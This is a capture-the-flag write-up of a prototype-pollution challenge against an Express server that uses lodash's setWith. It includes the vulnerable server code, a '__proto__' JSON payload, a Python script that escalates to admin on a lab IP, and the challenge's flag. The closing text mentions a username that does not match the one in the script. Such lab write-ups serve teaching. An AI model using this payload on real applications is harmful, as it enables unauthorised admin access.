VERE - Web-3 - Node

Published at Feb 1, 2025

#ctf#web
Challenge Description

There were lots of different ways I could design this server to teach you prototype pollution, but I chose this one. This should follow the same principle as all prototype pollutions, but your payload will be a little different. This specific vulnerability doesn’t have a CVE assigned to it, but look for a prototype pollution in the lodash npm packages that affects versions before 4.17.17. When you find the right one everything should fall into place. Snyk is a great place to look for these kinds of things…


Understanding Prototype Pollution

The challenge author mentioned using the resource Snyk to understand this attack vector, so that was the first place I looked at. Prototype pollution is a vulnerability in JavaScript where an attacker can modify the prototype of an object. By injecting unexpected properties into global objects, an attacker can override behaviors and gain unintended access.

Since JavaScript objects inherit properties from their prototype, manipulating the prototype allows attackers to introduce arbitrary properties that apply to all objects. As such, prototype pollution violates the integrity of the objects, and can result in exposed data (confidentiality) and denial of service (availability), rounding out the CIA triad.

The Snyk lesson and some other examples described how this process works, which I practiced in my own browser:

Pollution Example

In my own example, adminuser is created with the attribute verified set to true. Subsequently, an eviluser is created by the same process with the same data. Querying this attribute on each of these objects reveals that the data is correctly set to the desired value. However, setting the prototype of eviluser to have the new and arbitrarily named hacked attribute with the associated data get rekt isn’t confined solely to the eviluser object, it creates a new attribute with a set value for everything within the eviluser’s parent object… Including adminuser. We can see that by querying the hacked attribute of adminuser, it reveals that this attribute has not only already been defined, but has a default value of get rekt. Thus, setting the prototype of ONE object will set that attribute for ALL objects, unless they were specifically declared.

Examining the Server

Let’s take a look at the server source code, which was provided in the challenge description:

server.js

// imports
const express = require('express');
const fs = require('fs');
const _ = require('lodash');

// initializations
const app = express()
app.use(express.json());
const FLAG = fs.readFileSync('flag.txt', { encoding: 'utf8', flag: 'r' }).trim()
const PORT = 1337

let adminUsers = {
    'admin':true,
}

app.get('/', async (req, res) => {
    return res.send('You must send a GET request to /admin or POST request to /json');
});

app.post('/json', async (req, res) => {    ...    });


app.get('/admin', async (req, res) => {    ...    });


app.listen(PORT, async () => {
    console.log(`Listening on ${PORT}`)
});

The bulk of the server comes from the two endpoints: /json and /admin. We are told from the / endpoint that we need to “send a GET request to /admin or POST request to /json”. If we dig into these endpoints, we can see what these requests should contain.

Endpoint: /admin

app.get('/admin', async (req, res) => {
    const username = req.query.username;

    // ensure username is valid
    if (typeof username !== 'string' || username.length < 9) {
        return res.send('Invalid username')
    }

    // check to see if username is in adminUsers
    if (adminUsers[username] === true) {
        return res.send(FLAG)
    }
    return res.send('You are not an admin')
});

This function checks if the provided username is at least 9 characters long and exists in adminUsers. If successful, the flag is returned.

Endpoint: /json

app.post('/json', async (req, res) => {
    // ensure 'key' and 'value' are in the request body
    if (!req.body.key || !req.body.value) {
        return res.send('You must send 'key' and 'value' parameters in the request body')
    }

    const key = req.body.key;
    const value = req.body.value;

    // ensure key is a string
    if (typeof key !== 'string') {
        return res.send('Invalid key')
    }

    // hmmmmm
    _.setWith({}, key, value);

    return res.send('Success')
});

The challenge provided us a hint that there is “a prototype pollution in the lodash npm packages that affects versions before 4.17.17”, and checking the provided Dockerfile shows that this server is running 4.17.16 so we’re in business. The specific lodash vulnerability is going to appear within the setWith function that’s used here, and is kindly hinted at by the challenge author. If we set __proto__ properties, we might be able to escalate privileges.

Exploiting the Vulnerability

The goal here is to insert my custom user into the adminUsers group and set it to true in order to get the flag.

let adminUsers = {
    'admin':true, // The predefined admin user
    // 'hesapirate':true // This is what I want to be in this dictionary by the end
}

The Source is where the pollution occurs, which would be the

_.setWith({}, key, value);

line in the /json route. The _.setWith function modifies an object at the given key path. However, because the first argument is {}, Lodash’s behavior allows writing to Object.prototype if the key is set to __proto__.

The polluted property is used in the /admin route:

if (adminUsers[username] === true) {
    return res.send(FLAG)
}

This is the Sink. Since adminUsers is a normal object (let adminUsers = { 'admin': true }), it inherits from Object.prototype.

The Gadget is how the polluted property is used to affect the application. The /admin route checks adminUsers[username] === true.

All this in mind, I can send the following payload:

{
    "key": "__proto__.hesapirate",
    "value": true
}

This sets

Object.prototype.hesapirate = true;

Now, every object in JavaScript, including adminUsers, inherits this property. Since adminUsers now inherits { hesapirate: true }, any request with username=hesapirate will return the flag.

Exploit Script

import requests

# URL of the server
base_url = "http://172.16.16.7:31858"

# Payload to exploit prototype pollution

payload = {
    "key": "__proto__.hesapirate",
    "value": True
}

# Send the payload to the /json endpoint
response = requests.post(f"{base_url}/json", json=payload)
print(f"Payload response: {response.text}")

# Access the /admin endpoint with the username 'hesapirate'
admin_response = requests.get(f"{base_url}/admin", params={"username": "hesapirate"})
print(f"Admin response: {admin_response.text}")

Retrieving the Flag

Running the script modifies the prototype, allowing our username to be recognized as an admin. Sending a GET request to /admin with my_admin_account retrieves the flag.

Flag

The Flag
vere{1_kn0w_th1s_technique_is_k1nd4_compl1c4t3d_but_hacking_cant_be_all_th4t_345y,_right?_5d83134d33cd}

Zac Conlin © 2025